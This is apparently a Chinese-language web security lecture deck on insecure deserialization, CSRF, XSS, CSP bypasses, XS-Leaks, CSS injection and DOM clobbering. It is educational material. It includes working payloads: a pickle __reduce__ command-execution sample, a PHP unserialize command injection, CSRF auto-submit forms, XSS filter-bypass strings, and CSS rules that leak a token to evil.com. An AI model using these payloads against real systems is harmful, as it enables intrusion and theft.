Web
網頁安全
Security 0x03

Insecure Deserialization

Serialization／序列化

- 將記憶體中的資料結構、物件，轉換成可傳輸、儲存的格式

- 最常見的 —— JSON

```
>> let obj = { arr: [], boolean: false, string: "meow" }
>> let json = JSON.stringify(obj)
<- ▶❓ "{"arr":[],"boolean":false,"string":"meow"}"
```

Deserialization／反序列化

- 將記憶體中的資料結構、物件，轉換成可傳輸、儲存的格式
- 最常見的 —— JSON

```
>> let obj = { arr: [], boolean: false, string: "meow" }
>> let json = JSON.stringify(obj)
<- ▶⍰ "{"arr":[],"boolean":false,"string":"meow"}"
>> JSON.parse(json)
<- ▶⍰ { arr: [], boolean: false, string: "meow" }
```

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Deserialization / 反序列化

- 將記憶體中的資料結構、物件，轉換成可傳輸、儲存的格式
- 最常見的 —— JSON

```
>> let obj = { arr: [], boolean: false, string: "meow" }

>> let json = JSON.stringify(obj)

<- ▶ "{"arr":[],"boolean":false,"string":"meow"}"

>> eval(json)

<- ▶ { arr: [], boolean: false, string: "meow" }
```

Deserialization / 反序列化

- 將記憶體中的資料結構、物件，轉換成可傳輸、儲存的格式

- 最常見的 ─ JSON

```
>> let json =
   "{"arr":[], boolean":false,"string":"meow"}"

>> eval(json)

<- ▶ { arr: [], boolean: false, string: "meow" }
```

Insecure

Deserialization / 反序列化

- 將序列化過後的資料，轉換回程式中對應物件的行為

- 這會有什麼問題？

  - 如果要被反序列化的資料可控？

  - 反序列化之時/之後

    -> 自動呼叫 Magic Method

    -> 控制程式流程

Python Pickle

Python Serialization: Pickle

```
>>> import pickle
>>> (s := pickle.dumps({"cat": "meow"}))
b'\x80\x04\x95\x11\x00\x00\x00\x00\x00\x00\x00}\x94\x8c\x03cat\x
94\x8c\x04meow\x94s.'
>>> pickle.loads(s)
{'cat': 'meow'}
>>>
```

序列化

反序列化

pickle.dumps()

pickle.loads()

Python Serialization: Pickle

```
>>> import pickle
>>> (s := pickle.dumps({"cat": "meow"}))
b'\x80\x04\x95\x11\x00\x00\x00\x00\x00\x00\x00}\x94\x8c\x03cat\x94\x8c\x04meow\x94s.'
>>> pickle.loads(s)
{'cat': 'meow'}
>>>
```

序列化

反序列化

pickle.dumps()

pickle.loads()

Pickle Exploitation

```python
class Exploit(object):
    def __reduce__(self):
        return (subprocess.check_output, ('id',))
```
                                Function   Arguments

```python
serialized = pickle.dumps(Exploit())
```

b'\x80\x03csubprocess\ncheck_output\nX\x02\x00\x00\x00id\x85R.'

Reference: https://docs.python.org/3/library/pickle.html#object.__reduce__

Pickle Exploitation

```python
class Exploit(object):
    def __reduce__(self):
        return (subprocess.check_output, ('id',))
                         Function              Arguments

serialized = pickle.dumps(Exploit())
pickle.loads(serialized)
```

```
b'\x80\x03csubprocess\ncheck_output\nX\x02\x00\x00\x00id\x85R.'
```

Reference: https://docs.python.org/3/library/pickle.html#object.__reduce__

Pickle Exploitation

```python
class Exploit(object):
    def __reduce__(self):
        return (subprocess.check_output, ('id',))
```
                                    Function   Arguments

```python
serialized = pickle.dumps(Exploit())
```

uid=1000(splitline) gid=1000(splitline) groups=1000(splitline)

```
b'\x80\x03csubprocess\ncheck_output\nX\x02\x00\x00\x00id\x85R.'
```

Reference: https://docs.python.org/3/library/pickle.html#object.__reduce__

PHP

PHP Serialization

Value	Serialized
48763	i:48763;
TRUE	b:1;
NULL	N;
['x', 1]	a:2:{i:0;s:1:"x";i:1;i:1;}
new Cat('kitten')	O:3:"Cat":1:{s:4:"name";s:6:"kitten";}

型別標記

PHP Serialization

Value	Serialized
48763	`i:48763;`
TRUE	`b:1;`
NULL	`N;`
['x', 1]	`a:2:{i:0;s:1:"x";i:1;i:1;}`
new Cat('kitten')	`O:3:"Cat":1:{s:4:"name";s:6:"kitten";}`

key/index

Class name's length

Object size

PHP Serialization

```
class Cat {
    public $a;
    private $b;
    protected $c;
}
```

Class Name

```
{s:1:"a";...}

{s:6:"\x00Cat\x00b";...}

{s:4:"\x00*\x00c";...}
```

PHP Magic Method

在指定時機自動呼叫 magic method

- __destruct()

    - Object 被銷毀或 garbage collection

- __wakeup()

    - unserialize 時自動觸發

- __call()

    - 如果被呼叫了一個不存在的方法時，就會嘗試呼叫 // $obj->not_exist();

- __toString()

    - 在被當成 String 處理時呼叫 // echo $obj;

(・∀・)つ ●

```php
1. <?php
2. class Cat {
3.   public $sound = "meow";
4.   function __wakeup() {
5.     system("echo " . $this->sound);
6.   }
7. }
8. $cat = unserialize($_GET['cat']);
```

/?cat=O:3:"Cat":1:{s:5:"sound";s:4:"meow";}

(· ∀ ·)つ ●

```php
1. <?php
2. class Cat {
3.   public $sound = "meow";
4.   function __wakeup() {
5.     system("echo " . $this->sound);
6.   }
7. }
8. $cat = unserialize($_GET['cat']);
```

Command Injection!

/?cat=O:3:"Cat":1:{s:5:"sound";s:4:";id;";}

POP Chain

- **P**roperty **O**riented **P**rogramming

- ROP chain in Web security (?)

- Tool: ambionics/phpggc

POP Chain

```
{\__/}
( •–• )
/ > 🍬
```

```php
class Cat {
  protected $magic;
  protected $spell;
  function __construct($spell) {
    $magic = new Magic();
    $this->spell = $spell;
  }
  function __wakeup() {
    $this->magic->cast($this->spell);
  }
}
```

```php
class Magic {
  function cast($spell) {
    echo "MAGIC, $spell!";
  }
}


class Caster {
  public $cast_func = 'intval';
  function cast($val) {
    return $cast_func($val);
  }
}
```

POP Chain

```
{\__/}
( •–• )
/ > 🍃
```

```php
class Cat {
  protected $magic;
  protected $spell;
  function __construct($spell) {
    $magic = new Magic();
    $this->spell = $spell;
  }
  function __wakeup() {
    $this->magic->cast($this->spell);
  }
}
```

Default Magic
Safe!

```php
class Magic {
  function cast($spell) {
    echo "MAGIC, $spell!";
  }
}


class Caster {
  public $cast_func = 'intval';
  function cast($val) {
    return $cast_func($val);
  }
}
```

POP Chain

```
    {\__/}
    ( •-• )
    / > 🐟
```

```php
class Cat {
  protected $magic;
  protected $spell;
  function __construct($spell) {
    $magic = new Magic();
    $this->spell = $spell;
  }
  function __wakeup() {
    $this->magic->cast($this->spell);
  }
}
```

```php
class Magic {
  function cast($spell) {
    echo "MAGIC, $spell!";
  }
}

class Caster {
  public $cast_func = 'intval';
  function cast($val) {
    return $cast_func($val);
  }
}
```

Gadget Caster
Pwned!

POP Chain

```
                {\__/}
                ( • . •)

  class Cat
    protected
    protected
    function __construct($spell) {
      $magic = new Magic();
      $this->spell = $spell;
    }
    function __wakeup() {
      $this->magic->cast($this->spell);
    }
  }
```

```
unserialized(...)
    cat->__wakeup()
        cat->magic->cast(cat->$spell)
            caster->cast(cat->$spell)
                caster->$cast_func (cat-
>$spell)
                system          'ls -al'
```

Gadget Caster
Pwned!

```
class Caster {
  public $cast_func = 'intval';
  function cast($val) {
    return $cast_func($val);
  }
}
```

POP Chain

```
class Cat {
  protected $magic;
  protected $spell;
  function __constru
    $magic = new Mag
    $this->spell = $spell;
  }
  function __wakeup() {
    $this->magic->cast($this->spell);
  }
}
```

```
class Caster {
    public $cast_func = 'system';
}
class Cat {
    protected $magic = new
Cast();
    protected $spell = 'ls -al';
}
echo serialize(new Cat());
```

```
($spell) {
    , $spell!";
```

```
class Caster {
  public $cast_func = 'intval';
  function cast($val) {
    return $cast_func($val);
  }
}
```

Gadget Caster
Pwned!

{__/}

Java Deserialization

- Java 世界觀共通 library ex. CommonsCollections

- Magic Methods: toString, readObject, finalize ...

- Tool: frohoff/ysoserial

必須繼承 Serializable

```
public class Cat implements Serializable {
    ...
    private void readObject(ObjectInputStream in)
        throws IOException, ClassNotFoundException {
        ...
    }
}
```

開發者可自訂反序列化的邏輯

.NET Deserialization

- Tool: pwntester/ysoserial.net

- ViewState & Session 會存放序列化資料，透過 Machine Key 加密

```
12 <div>
13 <input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
14 <input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
15 <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="8LKzl1BC7ugvT6Q4T
16 </div>
```

- 特殊格式

{"$type": "System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",
"System.Security.ClaimsPrincipal.Identities":"AAEAAAD/////AQAAAAAA..."}

Frontend Security

同源政策 / Same Origin Policy (SOP)

同源政策 / Same Origin Policy (SOP)

- 同 `protocol`、同 `host`、同 `port` `-->` 可互相存取資源

- `For` `http://www.splitline.tw/`

URL	Same Origin?	Why
http<u>s</u>://www.splitline.tw/	❌	協議不同 : http VS https
http://<u>meow.</u>splitline.tw/ http://splitline.tw	❌	domain 不同
http://splitline.tw<u>:8787</u>/	❌	Port 不同
http://www.splitline.tw/foo/bar.html	✅	

Cross-origin

- Cross-origin read   Disallowed ✖
- Cross-origin writes   Allowed ✅
- Cross-origin embedding   Allowed ✅

Cross-origin

- **Cross-origin read**   Disallowed ✗

  - XMLHttpRequest

  - 讀取 iframe 內容
- Cross-origin writes   Allowed ✓
- Cross-origin embedding   Allowed ✓

Cross-origin

- Cross-origin read   Disallowed ✖

- **Cross-origin writes**   **Allowed** ✔

    - Link
    - Redirect
    - Submit form

- Cross-origin embedding   Allowed ✔

Cross-origin

- Cross-origin read   Disallowed ✗
- Cross-origin writes   Allowed ✓
- **Cross-origin embedding**   **Allowed** ✓

    - JavaScript   `<script src="..."> </script>`
    - CSS   `<link rel="stylesheet" href="...">`
    - image   `<img>`
    - media   `<video>`, `<audio>`
    - extension   `<object>`, `<embed>`, `<applet>`
    - `<iframe>`, `<frame>`
    - `@font-face`

CSRF

Cross-site Request Forgery

🔒 https://my.forum/admin

🗑️ Delete Post

https://my.forum/admin/deletePost?id=9487

Watch Free Movies Online

```
<img src="
        https://my.forum/admin/deletePost?id=
1">

<img src="
        https://my.forum/admin/deletePost?id=
2">

<img src="
        https://my.forum/admin/deletePost?id=
3">
```

https://evil-site.com/

Watch Free Movies Online

```
<img src="
        https://my.forum/admin/deletePost?id=
1">

<img sr                                          t?id=
2">

<img src="
        https://my.forum/admin/deletePost?id=
3">
```

```
GET /admin/deletePost?id=1 HTTP/1.1
Host: my.forum
Cookie: session=<admin-session>
```

CSRF

- Cross-site Request Forgery
- 偽造 client 端的惡意請求

- 駭客讓 admin 瀏覽一個惡意網站 evil-site.com
- evil-site.com 送出（偽造）了一個 CSRF request 給 my.forum

What about **POST** request?

🗑️ Delete Post

↓

```html
<form method="POST" action="/admin/deletePost">
    <input name="id" value="9487">
    <button>Delete Post</button>
</form>
```

Watch Free Movies Online

```html
<form method="POST"
    action="https://my.forum/admin/deletePost">
    <input name="id" value="9487">
</form>

<script>$("form").submit()</script>
```

🔒 https://evil-site.com/

Watc

```
POST /admin/deletePost HTTP/1.1
Host: my.forum
Cookie: session=<admin-session>

id=9487
```

```html
<form method="POST"
    action="https://my.forum/admin/deletePost">
    <input name="id" value="9487">
</form>

<script>$("form").submit()</script>
```

Wat...

```
POST /admin/deletePost HTTP/1.1
Host: my.forum
Cookie: session=<admin-session>
```

```
value= 9487 >
</form>

<script>$("form").submit()</script>
```

Hacked

superlogout.com

⚠️ 它會將你的一堆服務登出，請小心服用 ⚠️

CSRF Token

- 在使用者訪問網站時被設定一個 token（放在 cookie 之類的）
- 發送請求時需同時送出 token

CSRF Token

- 在使用者訪問網站時被設定一個 `token`（放在 `cookie` 之類的）

- 發送請求時需同時送出 `token`

```
    <h3 id="title" class="uk-card-title uk-text-center">會員登入</h3>
  ▼<form action="/account/login/" method="post">
      <input type="hidden" name="csrfmiddlewaretoken" value=
      "UBxaMKvNj5pzBilaeufquEUBD2yBCIz2d8oaXJrygQODIDV2voYTNbjlRra6PSjy"> ==
    ▶<div class="uk-margin">…</div>
    ▶<div class="uk-margin">…</div>
```

CSRF token in Django framework

🔒 https://my.forum/admin

🗑️ Delete Post

↓

```
<form method="POST" action="/admin/deletePost">
    <input name="id" value="9487">
    <input name="csrf_token" value="qRfj1K9pb2xi">
    <button>Delete Post</button>
</form>
```

後端會比對這個 token

Watch Free Movies Online

```html
<form method="POST"
    action="https://my.forum/admin/deletePost">
    <input name="id" value="9487">
    <input name="csrf_token" value="⍰ ⍰ ⍰ ">
</form>

<script>$("form").submit()</script>
```

Watch Free M

窩不知道


```
<form method="PO
    action="htt                    deletePost">
    <input name
    <input name="csrf_token" value="￼ ￼ ￼ ">
</form>

<script>$("form").submit()</script>
```

Can't CSRF

- Methods other than GET / POST (e.g. PUT, DELETE)

- Special HTTP header

- SameSite cookie

SameSite Cookie

- Lax
  - 只有在以下三種狀況會帶 cookie
  - `<a href="..."></a>`
  - `<link rel="prerender" href="..."/>`
  - `<form method="GET" action="...">`
- Strict
  - 不論如何都不會從其他地方把 cookie 帶過來
- None (default in old standard)
  - 不論如何都會帶上 cookie

Reference: <u>SameSite cookies - HTTP</u>

SameSite Cookie: New standard

- **Lax (default)**
  - 只有在以下三種狀況會帶 cookie
  - `<a href="..."></a>`
  - `<link rel="prerender" href="..."/>`
  - `<form method="GET" action="...">`
- **Strict**
  - 不論如何都不會從其他地方把 cookie 帶過來
- **None（必須搭配 Secure 屬性一起用）**
  - 不論如何都會帶上 cookie

Reference: SameSite cookies - HTTP

XSS

Your name: splitline|

`<p>Hi, splitline!</p>`

`<p>Hi, <h1> splitline </h1>!</p>`

`<p>Hi, <script> alert(/xss/) </script>!</p>`

<p> s/)

splitline.tw 顯示

/xss/

確定

`<p>Hi, <script> alert(/xss/) </script>!</p>`

Safe!

XSS

- Cross-site Scripting
- 讓使用者的瀏覽器執行駭客給的任意 script
- 沒妥善處理輸入 --> 輸入的一部分被當作 script 執行

Self-XSS

- You XSS yourself.

- 自己手動去把惡意的 JavaScript 跑起來

Self-XSS

`Real world example ->`

XSS Category

- Reflected XSS

- Stored XSS

- DOM-based XSS

Reflected XSS

把惡意輸入一次性的映射（reflect）到網頁上

```
🔒 https://example.com/?name=<script>alert(1)</script>
```

Reflect

`<h1>Hello, <script>alert(1)</script></h1>`

Stored XSS

– 伺服器會儲存（store）駭客的惡意輸入

Server / Database

Leave your comment:

```
<script>alert(1)</script> |    Submit
```

Hacker 😼

```
<h1>Comments</h1>
<p>[Hacker] says:</p>
<p><script>alert(1)</script></p>
```

Other users

DOM-based XSS

- JavaScript 讀取惡意輸入造成 XSS

🔒 https://example.com/#alert(1)

```
<script>
    eval(decodeURI(location.hash.slice(1)));
</script>
```

Besides `<script>` element

Event Handler

- `<svg/onload=alert(1)>`

- `<img src=# onerror=alert(1)>`

- `<input onfocus=alert(1)>`

javascript: Scheme

- `<a href="javascript:alert(1)">Click Me</a>`

- `location.replace("javascript:alert(1)");`

I want to stop HACKERS!

```
[space]on...=
javascript:
<script
```

Blacklist

[space]on...=

<svg<TAB>onload=alert(1)>

Blacklist

`[space]on...=`

`<svg\n onload=alert(1)>`

Blacklist

`[space]on...=`

`<svg/onload=alert(1)>`

Blacklist

`[space]on...=`

`javascript:`

`<script`

Blacklist

[space]on...=

`<a href="\x01javascript:alert(1)">X</a>`

Blacklist

`[space]on...=`

`<a href="java\tscript:alert(1)">X</a>`

Blacklist

[space]on...=

`<a href="java	script:alert(1)">X`

```
[space]on...=
javascript:
<script
```

JSFuck

JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.

It does not depend on a browser, so you can even run it on Node.js.

Use the form below to convert your own script. Uncheck "eval source" to get back a plain string.

`alert(1)` [Encode] ☑ Eval Source ☑ Run In Parent Scope

```
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]]
[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+
[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([]
[[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+!+[]]+
(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+
[])[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+
[+[]]]+(!![]+[])[+!+[]])((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+
[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])
[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+!+[]]+
(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+
[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])
[!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])
[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+
[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+
```

JSFuck

JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.

It does not depend on a browser, so you can even run it on Node.js.

Use t... to get b...

aler...

```
[][(
[([]
[])[
[]]+
[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([]
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[])[+[]])+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]])[!+[]+!+[]+[+[]]]+([![]]+[][[]])[+!+!+
```

www.jsfuck.com 顯示

1

確定

Read More:

[Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy](#)

What can XSS do exactly?

- 偷取 `cookie`（僅限無 `HttpOnly flag` 的 `cookie`）
- 偽造請求：不受前述 `CSRF` 的任何限制
- 偷取各種資訊

  - `Screenshot`
  - `Key logger`
  - `...`

How to prevent XSS?

- Escape HTML syntax
    - In PHP: htmlentities()
    - < --> <
    - > --> >
    - " --> "
    - …

- Filter HTML syntax
    - No \<script\> tag
    - No event handler (onclick="...")
    - …

- Content-Security-Policy

How to prevent XSS?

- Escape HTML / JavaScript syntax **is hard**

  - javascript:alert(1)

- Filter HTML syntax **is hard**

  - [Mutation XSS in Google Search](#)

  `<noscript><p title="</noscript><img src=x onerror=alert(1)>">`

- Content-Security-Policy

How to prevent XSS?

- Escape HTML / JavaScript syntax **is hard**

    - javascript:alert(1)

- Filter HTML syntax **is hard**

    - [Mutation XSS in Google Search](#)

  `<noscript><p title="</noscript><img src=x onerror=alert(1)>">`

- Content-Security-Policy

CSP

- **Content Security Policy**
- 由瀏覽器根據 CSP 控制對外部的請求
- 白名單機制
- [Content Security Policy (CSP) Quick Reference Guide](#)

```
default-src 'none'; image-src 'self';
```

Directive   Source

CSP - 設定方法

- Via Response Header:
  Content-Security-Policy: ...
- Via Meta Tag:
  <meta http-equiv="Content-Security-Policy" content="...">

- CSP Evaluator   csp-evaluator.withgoogle.com

CSP - Quick Example

```
HTTP/1.1 200 OK
Content-Security-Policy: script-src 'self';

<script> alert(/xss/) </script>
```

基本的 Directive

- default-src   預設值，未設定的 `directive` 皆會採預設值

- img-src   `<img>`

- style-src   `<link rel="stylesheet">`

- script-src`<script>`
- frame-src   `<iframe>`

- connect-src   `fetch, XMLHttpRequest, WebSocket etc.`

- ...

Source: \<host-source\>

- `'none'`   通通不允許

- `'self'`   Same-Origin（host 和 port 都相同）

- `*`   除 `data:` `blob:` `mediastream:` `filesystem:` 外
  全部允許

- 指定 host
  - `https://example.com`
  - `example.com`
  - `*.example.com`

script-src

- `'none'`, `'self'`, `*`

- `<host-source>`
- `'unsafe-eval'`
  - ✅ `eval('alert(1)')`
- `'unsafe-inline'`
  - ✅ `<svg onload=alert(1)>, <script>alert(1)</script>`
- `'nonce-<base64-value>'`
- `'strict-dynamic'`

```
script-src 'nonce-<base64-value>'
```

```
HTTP/1.1 200 OK
Content-Security-Policy: script-src 'nonce-r4nd0m';

<script src="/app.js" nonce="r4nd0m"></script>
<script src="/xss.js" nonce="not-match"></script>
```

✕ Blocked   ✓ 兩邊 nonce 必須一樣

script-src 'strict-dynamic'

- script-src 'nonce-r4nd0m' 'strict-dynamic';

- 允許有合法 nonce 的 script 動態載入新的 script element

```html
<script src="/app.js" nonce="r4ndom"></script>
```

```javascript
// app.js
let script = document.createElement('script');
script.src = 'http://splitline.tw/jquery.js'; // ✅
document.body.appendChild(script);
```

[NEW] trusted-types

- `require-trusted-types-for` `'script';` `trusted-types` `my-policy;`
- 目前（2021）只有 `Chromium` `based` `browser` 支援

- `require-trusted-types-for` 目前只支援 `'script'`
- `trusted-types`   `<policyName>,` `'none',`
  `'allow-duplicates'`
  - 指定此頁面要遵循的 `policy` （由開發者自行設定/命名）

[NEW] trusted-types

- `require-trusted-types-for 'script'; trusted-types my-policy;`
- 目前（2021）只有 Chromium based browser 支援

```javascript
const sanitizer = trustedTypes.createPolicy('my-policy', {
  // sanitize html: using cure53.de/purify
  createHTML: input => DOMPurify.sanitize(input)
});

const attackerInput = '<p>meow</p><svg onload=alert(/xss/)>';
const div = document.createElement('div');
div.innerHTML = sanitizer.createHTML(attackerInput);
```

[NEW] trusted-types

- `require-trusted-types-for 'script'; trusted-types my-policy;`
- 目前（2021/03）只有 Chromium based browser 支援

```javascript
const sanitizer = trustedTypes.createPolicy('my-policy', {
  // sanitize html: using cure53.de/purify
  createHTML: input => DOMPurify.sanitize(input)
});

const attackerInput = '<p>meow</p><svg onload=alert(/xss/)>';
const div = document.createElement('div');
div.innerHTML = sanitizer.createHTML(attackerInput);  // ✅ 允許 trustedHTML
```

[NEW] trusted-types

- `require-trusted-types-for 'script'; trusted-types my-policy;`
- 目前（2021/03）只有 Chromium based browser 支援

```javascript
const sanitizer = trustedTypes.createPolicy('my-policy', {
  // sanitize html: using cure53.de/purify
  createHTML: input => DOMPurify.sanitize(input)
});

const attackerInput = '<p>meow</p><svg onload=alert(/xss/)>';
const div = document.createElement('div');
div.innerHTML = attackerInput;      // ✖ 拒絕直接 assign 的輸入
```

[NEW] trusted-types

- `require-trusted-types-for 'script'; trusted-types my-policy;`
- 目前 (2021/03) 只有 Chromium based browser 支援


```
const div = document.createElement('div');
div.innerHTML = attackerInput;       // ✖ 拒絕直接 assign 的輸入
```

Content Security Policy

How to Bypass?

Bypass Via `<base>` tag

- `default-src 'none'; script-src 'nonce-r4nd0m';`
- `<base>` 能改變所有相對 URL 的 base URL

```
[XSS HERE]
<script src="/jquery.js" nonce="r4nd0m"></script>
```

Bypass Via <base> tag

- `default-src 'none'; script-src 'nonce-r4nd0m';`
- `<base>`　　　能改變所有相對 URL 的 base URL

```
<base href="http://splitline.tw">
<script src="/jquery.js" nonce="r4nd0m"></script>
```

`-> 載入 http://splitline.tw/jquery.js`

Bypass Via `<base>` tag

- `default-src 'none'; script-src 'nonce-r4nd0m';`
- `<base>` 能改變所有相對 URL 的 base URL

`<base href="http://splitline.tw">`

Evaluated CSP as seen by a browser supporting CSP Version 3   expand/collapse all

✓ **default-src**

⑤ **script-src**   Consider adding 'unsafe-inline' (ignored by browsers supporting nonces/hashes) to be backward compatible with older browsers.

❶ **base-uri** [missing]   Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to 'none' or 'self'?

Bypass Via Script Gadget

- DOM Based XSS

- 利用原本就存在於網頁上的 JavaScript 繞過防護（`code reuse`）

- Blackhat USA 2017

  Breaking XSS mitigations via Script Gadgets

Bypass Via Script Gadget

```
<div data-role="button"
 data-text="&lt;script&gt;alert(1)&lt;/script&gt;"></div>

<script>
    const buttons = $("[data-role=button]");
    buttons.html(button.getAttribute("data-text"));
</script>                                          Simple Script Gadget



    <div data-role="button" … ><script>alert(1)</script></div>
```

Bypass Via Whitelisted CDN / Host

```
CSP: script-src 'self' cdnjs.cloudflare.com 'unsafe-eval'
<script
src="https://cdnjs.cloudflare.com/ajax/libs/angular.js
/1.0.8/angular.min.js">
```

```
    Case Study 0x01: A Wormable XSS on HackMD! / by 🍋
    Case Study 0x02: HackMD_XSS_&_Bypass_CSP / by k1tten
```

Frontend security: Advanced

XS-Leaks

XS-Leaks

- 沒有 XSS 仍然有可能洩露資訊

- 最原始的論文 / Stanford, 2007
  Exposing Private Information by Timing Web Applications

- Browser-based side channel attack.

XS-Leaks: Time-based

- XS-Leaks 的前身 -- <u>Security: Cross-domain search timing</u>

- 透過 search / render 耗費的時間差 leak 出資訊

- /?search=*<input>*

- a 0.17s	
- b 0.21s	
- ...	
- f 0.87s	
- ...	
- z 0.15s	

→

- fa   0.12s
- fb   0.19s
- ...
- fl   0.91s
- ...
- fz   0.20s

→

- ...
- flag 0.95s
- ...

XS-Leaks: Frame Count

- `window.frames.length` --> 得知指定 `window` 底下 `iframe` 數量

- /search?query=*S3CR3T_KEY_9527*   `frame.length >= 1`

- /search?query=*wtfff_doesnt_exist* `frame.length == 0`

```
https://email.com/?query=S3CR3T_KEY_9527

  Search Result / 1 result(s):

        email.com/... (iframe)

             Hi:
             Your key is S3CR3T_KEY_9527!
```

XS-Leaks: Frame Count

- `window.frames.length` --> 得知指定 `window` 底下 `iframe` 數量

- `/search?query=S3CR3T_KEY_9527`   `frame.length >= 1`

- `/search?query=wtfff_doesnt_exist` `frame.length == 0`

```
https://email.com/?query=wtfff_doesnt_exist
    Search Result / 0 result(s):



    Nothing here...
```

XS-Leaks: Frame Count

- `window.frames.length` --> 得知指定 `window` 底下 `iframe` 數量

- `/search?query=`*S3CR3T_KEY_9527*   `frame.length >= 1`

- `/search?query=`*wtfff_doesnt_exist* `frame.length == 0`

XS-Leaks: Frame Count / Case Study

- [The Return Of The Iframe, Leaking Data From Facebook Messenger](#)

- FB Messenger 有在聊天的話會開一個 `frame`

- 透過 `frame.length` 可得知特定用戶正在跟幾個人聊天

Read More:
https://xsleaks.dev/

CSS Injection

CSS Injection

```
<style>
  [INJECT]
</style>
```

- 利用 url(...) 任意送請求（GET-based CSRF）
- 透過 selector leak HTML 中的資料

CSS Injection -- DoS

Boring

```
<style>
      body {
    background: url(http://example.com/logout);
  }
</style>
```

CSS injection + Logout CSRF

CSS Injection -- Leak Information

```
<style>
input[name=token][value^="1"] { background: url(//evil.com/1); }
input[name=token][value^="2"] { background: url(//evil.com/2); }
...
input[name=token][value^="9"] { background: url(//evil.com/9); }


input[name=token][value^="11"] { background: url(//evil.com/11); }
...
input[name=token][value^="9f"] { background: url(//evil.com/9f); }
</style>

<input type="text" name="token" value="9f586e5...">
```

CSS Injection -- Leak Information

```
<style>
input[name=token][value^="1"] { background: url(//evil.com/1); }
input[name=token][value^="2"] { background: url(//evil.com/2); }
...
input[name=token][value^="9"] { background: url(//evil.com/9); }


input[name=token][value^="11"] { background: url(//evil.com/11); }
...
input[name=token][value^="9f"] { background: url(//evil.com/9f); }
</style>

<input type="text" name="token" value="9f586e5...">
```

DOM Clobbering

How to Click This Button By JavaScript?

```html
<button id="clickme">
    Click Me!
</button>
```

Click Me!

How to Click This Button By JavaScript?

```html
<button id="clickme">
    Click Me!
</button>
```

```javascript
$("#clickme").click()
document.querySelector("button").click()
document.getElementById("clickme").click()
```

How to Click This Button By JavaScript?

```html
<button id="clickme">
    Click Me!
</button>
```

✓ `clickme.click()`

WTF? It's Spec!

HTML Spec: Named access on the Window object

The Window object supports named properties. The supported property names of a Window object *window* at any moment consist of the following, in tree order according to the element that contributed them, ignoring later duplicates:

- *window*'s document-tree child browsing context name property set;

- the value of the name content attribute for all embed, form, img, and object elements that have a non-empty name content attribute and are in a document tree with *window*'s associated Document as their root; and

- the value of the id content attribute for all HTML elements that have a non-empty id content attribute and are in a document tree with *window*'s associated Document as their root.

WTF? It's Spec!

HTML Spec: Named access on the Window object

- `<whatever id="meow"></whatever>` --> `meow`
  `window.meow`

- `<embed name="nyan" />`
- `<form name="nyan" />`
- `<img name="nyan" />`
- `<object name="nyan" />`

`nyan`
`window.nyan`
`document.nyan`

WTF? It's Spec!

HTML Spec: [Named access on the Window object](#)

- `<whatever id="meow"></whatever> -->` meow

DOM 可以控制 JavaScript 變數

- `<form name="nyan" />`

- `<img name="nyan" />`

- `<object name="nyan" />`

nyan
window.nyan
document.nyan

Bonus: 覆蓋 `document.*`

```html
<img name="cookie" />
<img name="getElementById" />

<script>
  alert(document.cookie); // alert [object HTMLImageElement]

  elem = document.getElementById("meow");
  // Uncaught TypeError: document.getElementById is not a function
</script>
```

But...

```
<img name="nyan" src="..." />

alert(nyan); // [object HTMLImageElement]
```

無法自由操控內容 🥺

`<a>` Works!

```html
<a id="meow" href="http://splitline.tw" />
```

```javascript
alert(meow); // http://splitline.tw ✓
```

`<a>` Works!

再來看一下 spec

API for a and area elements

`<a href=...>.toString()`

等於

`<a href=...>.href`

§ 4.6.3 API for a and area elements

```
IDL
interface mixin HTMLHyperlinkElementUtils {
    [CEReactions] stringifier attribute USVString href;
    readonly attribute USVString origin;
    [CEReactions] attribute USVString protocol;
    [CEReactions] attribute USVString username;
    [CEReactions] attribute USVString password;
    [CEReactions] attribute USVString host;
    [CEReactions] attribute USVString hostname;
    [CEReactions] attribute USVString port;
    [CEReactions] attribute USVString pathname;
    [CEReactions] attribute USVString search;
    [CEReactions] attribute USVString hash;
};
```

For web developers (non-normative)

hyperlink . **toString**()

hyperlink . **href**

 Returns the hyperlink's URL.

